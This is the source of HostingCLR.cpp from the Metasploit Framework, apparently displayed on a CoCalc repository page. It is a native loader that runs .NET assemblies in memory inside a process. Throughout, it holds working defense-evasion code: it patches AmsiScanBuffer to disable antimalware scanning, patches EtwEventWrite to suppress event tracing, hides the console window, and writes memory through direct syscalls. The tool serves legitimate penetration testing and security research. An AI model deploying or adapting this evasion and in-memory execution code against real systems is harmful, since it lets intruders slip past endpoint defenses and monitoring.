CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
Views: 11780
1
// Author: B4rtik (@b4rtik)
2
// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)
3
// License: BSD 3-Clause
4
// based on
5
// https://github.com/etormadiv/HostingCLR
6
// by Etor Madiv
7
8
#include "stdafx.h"
9
#include <stdio.h>
10
#include <windows.h>
11
#include <evntprov.h>
12
#include "HostingCLR.h"
13
#include "EtwTamper.h"
14
15
// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime
16
#define ModuleLoad_V2 152
17
#define AssemblyDCStart_V1 155
18
#define MethodLoadVerbose_V1 143
19
#define MethodJittingStarted 145
20
#define ILStubGenerated 88
21
22
#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}
23
24
// mov rax, <Hooked function address>
25
// jmp rax
26
unsigned char uHook[] = {
27
0xC3
28
};
29
30
#ifdef _X32
31
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
32
SIZE_T patchsize = 8;
33
#endif
34
#ifdef _X64
35
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
36
SIZE_T patchsize = 6;
37
#endif
38
39
struct Metadata
40
{
41
unsigned int pipenameLength;
42
unsigned int appdomainLength;
43
unsigned int clrVersionLength;
44
unsigned int argsSize;
45
unsigned int assemblySize;
46
unsigned char amsiBypass;
47
unsigned char etwBypass;
48
};
49
DWORD METADATA_SIZE = 22;
50
51
int executeSharp(LPVOID lpPayload)
52
{
53
HRESULT hr;
54
55
ICLRMetaHost* pMetaHost = NULL;
56
ICLRRuntimeInfo* pRuntimeInfo = NULL;
57
BOOL bLoadable;
58
ICorRuntimeHost* pRuntimeHost = NULL;
59
IUnknownPtr pAppDomainThunk = NULL;
60
_AppDomainPtr pCustomAppDomain = NULL;
61
IEnumUnknown* pEnumerator = NULL;
62
_AssemblyPtr pAssembly = NULL;
63
SAFEARRAYBOUND rgsabound[1];
64
_MethodInfoPtr pMethodInfo = NULL;
65
VARIANT retVal;
66
VARIANT obj;
67
SAFEARRAY* psaStaticMethodArgs;
68
SAFEARRAY* psaEntryPointParameters;
69
VARIANT vtPsa;
70
71
char* pipeName = NULL;
72
char* appdomainName = NULL;
73
char* clrVersion = NULL;
74
wchar_t* clrVersion_w = NULL;
75
BYTE* arg_s = NULL;
76
wchar_t* appdomainName_w = NULL;
77
78
Metadata metadata;
79
80
// Structure of lpPayload:
81
// - Packed metadata, including lengths of the following fields
82
// - Pipe name (ASCII)
83
// - Appdomain name (ASCII)
84
// - Clr Version Name (ASCII)
85
// - Param data
86
// - Assembly data
87
88
memcpy(&metadata, lpPayload, METADATA_SIZE);
89
90
BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;
91
92
pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));
93
memcpy(pipeName, data_ptr, metadata.pipenameLength);
94
pipeName[metadata.pipenameLength] = 0; // Null-terminate
95
data_ptr += metadata.pipenameLength;
96
97
appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));
98
memcpy(appdomainName, data_ptr, metadata.appdomainLength);
99
appdomainName[metadata.appdomainLength] = 0; // Null-terminate
100
data_ptr += metadata.appdomainLength;
101
102
clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));
103
memcpy(clrVersion, data_ptr, metadata.clrVersionLength);
104
clrVersion[metadata.clrVersionLength] = 0; // Null-terminate
105
data_ptr += metadata.clrVersionLength;
106
107
// Convert to wchar
108
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
109
mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);
110
111
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
112
memcpy(arg_s, data_ptr, metadata.argsSize);
113
data_ptr += metadata.argsSize;
114
115
////////////////// Hijack stdout
116
117
// Create a pipe to send data
118
HANDLE pipe = CreateNamedPipeA(
119
pipeName, // name of the pipe
120
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
121
PIPE_TYPE_BYTE, // send data as a message stream
122
1, // only allow 1 instance of this pipe
123
0, // no outbound buffer
124
0, // no inbound buffer
125
0, // use default wait time
126
NULL // use default security attributes
127
);
128
129
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {
130
//printf("[CLRHOST] Failed to create outbound pipe instance.\n");
131
hr = -1;
132
goto Cleanup;
133
}
134
135
// This call blocks until a client process connects to the pipe
136
BOOL result = ConnectNamedPipe(pipe, NULL);
137
if (!result) {
138
//printf("[CLRHOST] Failed to make connection on named pipe.\n");
139
hr = -1;
140
goto Cleanup;
141
}
142
143
SetStdHandle(STD_OUTPUT_HANDLE, pipe);
144
SetStdHandle(STD_ERROR_HANDLE, pipe);
145
146
///////////////////// Done hijacking stdout
147
148
rgsabound[0].cElements = metadata.assemblySize;
149
rgsabound[0].lLbound = 0;
150
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
151
152
void* pvData = NULL;
153
hr = SafeArrayAccessData(pSafeArray, &pvData);
154
155
if (FAILED(hr))
156
{
157
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
158
goto Cleanup;
159
}
160
161
// Store assembly
162
memcpy(pvData, data_ptr, metadata.assemblySize);
163
164
hr = SafeArrayUnaccessData(pSafeArray);
165
166
if (FAILED(hr))
167
{
168
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
169
goto Cleanup;
170
}
171
172
// Etw bypass
173
if (metadata.etwBypass)
174
{
175
int ptcResult = PatchEtw(pipe);
176
if (ptcResult == -1)
177
{
178
ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");
179
goto Cleanup;
180
}
181
}
182
HMODULE hMscoree = LoadLibrary("mscoree.dll");
183
FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");
184
if (clrCreateInstance == NULL)
185
{
186
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");
187
goto Cleanup;
188
}
189
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
190
191
if (FAILED(hr))
192
{
193
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);
194
goto Cleanup;
195
}
196
197
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
198
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
199
200
if (FAILED(hr))
201
{
202
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
203
goto Cleanup;
204
}
205
206
BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);
207
208
if (!isloaded)
209
{
210
hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
211
212
if (FAILED(hr))
213
{
214
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
215
goto Cleanup;
216
}
217
218
hr = pRuntimeInfo->IsLoadable(&bLoadable);
219
220
if (FAILED(hr) || !bLoadable)
221
{
222
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
223
goto Cleanup;
224
}
225
}
226
227
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
228
229
if (FAILED(hr))
230
{
231
ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
232
goto Cleanup;
233
}
234
235
if (!isloaded)
236
{
237
hr = pRuntimeHost->Start();
238
}
239
240
if (FAILED(hr))
241
{
242
ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);
243
goto Cleanup;
244
}
245
246
// Convert to wchar
247
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
248
mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);
249
250
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
251
252
if (FAILED(hr))
253
{
254
ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);
255
goto Cleanup;
256
}
257
258
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);
259
260
if (FAILED(hr))
261
{
262
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);
263
goto Cleanup;
264
}
265
266
// Amsi bypass
267
if (metadata.amsiBypass)
268
{
269
int ptcResult = PatchAmsi(pipe);
270
if (ptcResult == -1)
271
{
272
ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");
273
goto Cleanup;
274
}
275
}
276
277
hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);
278
279
if (FAILED(hr))
280
{
281
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);
282
goto Cleanup;
283
}
284
285
hr = pAssembly->get_EntryPoint(&pMethodInfo);
286
287
if (FAILED(hr))
288
{
289
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
290
goto Cleanup;
291
}
292
293
// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])
294
pMethodInfo->GetParameters(&psaEntryPointParameters);
295
hr = SafeArrayLock(psaEntryPointParameters);
296
if (!SUCCEEDED(hr))
297
{
298
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);
299
goto Cleanup;
300
}
301
long uBound, lBound;
302
SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);
303
SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);
304
long numArgs = uBound - lBound + 1;
305
hr = SafeArrayUnlock(psaEntryPointParameters);
306
if (!SUCCEEDED(hr))
307
{
308
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);
309
goto Cleanup;
310
}
311
312
ZeroMemory(&retVal, sizeof(VARIANT));
313
ZeroMemory(&obj, sizeof(VARIANT));
314
315
obj.vt = VT_NULL;
316
vtPsa.vt = (VT_ARRAY | VT_BSTR);
317
318
switch (numArgs)
319
{
320
case 0:
321
if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"
322
{
323
ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");
324
goto Cleanup;
325
}
326
// If no parameters set cElement to 0
327
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
328
break;
329
case 1:
330
{
331
// If we have at least 1 parameter set cElement to 1
332
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
333
334
// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as
335
// it expects it to be a filename. This affects situations where the first argument contains backslashes,
336
// or if there are no arguments at all (it will just create one - the process's image name).
337
// To coerce it into performing the correct data transformation, we create a fake first parameter, and then
338
// ignore it in the output.
339
340
LPWSTR* szArglist;
341
int nArgs;
342
wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));
343
wtext[0] = L'X'; // Fake process name
344
wtext[1] = L' '; // Separator
345
346
347
mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);
348
szArglist = CommandLineToArgvW(wtext, &nArgs);
349
350
free(wtext);
351
352
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name
353
354
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
355
{
356
size_t converted;
357
size_t strlength = wcslen(szArglist[i]) + 1;
358
OLECHAR* sOleText1 = new OLECHAR[strlength];
359
char* buffer = (char*)malloc(strlength * sizeof(char));
360
361
wcstombs(buffer, szArglist[i], strlength);
362
363
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
364
BSTR strParam1 = SysAllocString(sOleText1);
365
long actualPosition = i - 1;
366
SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);
367
free(buffer);
368
}
369
370
LocalFree(szArglist);
371
372
long iEventCdIdx(0);
373
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
374
break;
375
}
376
default:
377
ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);
378
goto Cleanup;
379
}
380
381
//Assembly execution
382
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
383
if (FAILED(hr))
384
{
385
ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);
386
goto Cleanup;
387
}
388
389
Cleanup:
390
391
FlushFileBuffers(pipe);
392
DisconnectNamedPipe(pipe);
393
CloseHandle(pipe);
394
395
if (pEnumerator) {
396
pEnumerator->Release();
397
}
398
if (pMetaHost) {
399
pMetaHost->Release();
400
}
401
if (pRuntimeInfo) {
402
pRuntimeInfo->Release();
403
}
404
405
if (pRuntimeHost) {
406
if (pCustomAppDomain) {
407
pRuntimeHost->UnloadDomain(pCustomAppDomain);
408
}
409
pRuntimeHost->Release();
410
}
411
412
if (psaStaticMethodArgs) {
413
SafeArrayDestroy(psaStaticMethodArgs);
414
}
415
if (pSafeArray) {
416
SafeArrayDestroy(pSafeArray);
417
}
418
419
if (appdomainName) {
420
free(appdomainName);
421
}
422
423
if (clrVersion) {
424
free(clrVersion);
425
}
426
if (clrVersion_w) {
427
delete[] clrVersion_w;
428
}
429
430
if (arg_s) {
431
free(arg_s);
432
}
433
434
if (appdomainName_w) {
435
delete[] appdomainName_w;
436
}
437
438
return hr;
439
}
440
441
VOID Execute(LPVOID lpPayload)
442
{
443
// Attach or create console
444
if (GetConsoleWindow() == NULL) {
445
AllocConsole();
446
HWND wnd = GetConsoleWindow();
447
if (wnd)
448
ShowWindow(wnd, SW_HIDE);
449
}
450
451
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
452
HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);
453
454
executeSharp(lpPayload);
455
SetStdHandle(STD_OUTPUT_HANDLE, stdOut);
456
SetStdHandle(STD_ERROR_HANDLE, stdErr);
457
458
}
459
460
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
461
PNT_TIB pTIB = NULL;
462
PTEB pTEB = NULL;
463
PPEB pPEB = NULL;
464
465
// Get pointer to the TEB
466
pTIB = (PNT_TIB)__readgsqword(0x30);
467
pTEB = (PTEB)pTIB->Self;
468
469
// Get pointer to the PEB
470
pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;
471
if (pPEB == NULL) {
472
return -1;
473
}
474
475
if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {
476
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
477
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
478
}
479
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {
480
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
481
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
482
}
483
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {
484
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
485
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
486
}
487
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {
488
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
489
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
490
}
491
else {
492
493
return -2;
494
}
495
496
LPVOID lpBaseAddress = lpFuncAddress;
497
ULONG OldProtection, NewProtection;
498
SIZE_T uSize = patchsize;
499
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
500
if (status != STATUS_SUCCESS) {
501
return -1;
502
}
503
504
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);
505
if (status != STATUS_SUCCESS) {
506
return -1;
507
}
508
509
status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
510
if (status != STATUS_SUCCESS) {
511
return -1;
512
}
513
514
return 0;
515
}
516
517
BOOL PatchEtw(HANDLE pipe)
518
{
519
HMODULE lib = LoadLibraryA("ntdll.dll");
520
if (lib == NULL)
521
{
522
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");
523
return -2;
524
}
525
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
526
if (lpFuncAddress == NULL)
527
{
528
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");
529
return -2;
530
}
531
532
return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));
533
}
534
535
BOOL PatchAmsi(HANDLE pipe)
536
{
537
538
HMODULE lib = LoadLibraryA("amsi.dll");
539
if (lib == NULL)
540
{
541
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");
542
return -2;
543
}
544
545
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
546
if (addr == NULL)
547
{
548
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");
549
return -2;
550
}
551
552
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
553
}
554
555
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
556
HRESULT hr;
557
ULONG fetched = 0;
558
DWORD vbSize;
559
BOOL retval = FALSE;
560
wchar_t currentversion[260];
561
562
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)
563
{
564
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
565
if (!FAILED(hr))
566
{
567
if (wcscmp(currentversion, version) == 0)
568
{
569
retval = TRUE;
570
break;
571
}
572
}
573
((ICLRRuntimeInfo*)pRuntimeInfo)->Release();
574
}
575
576
return retval;
577
}
578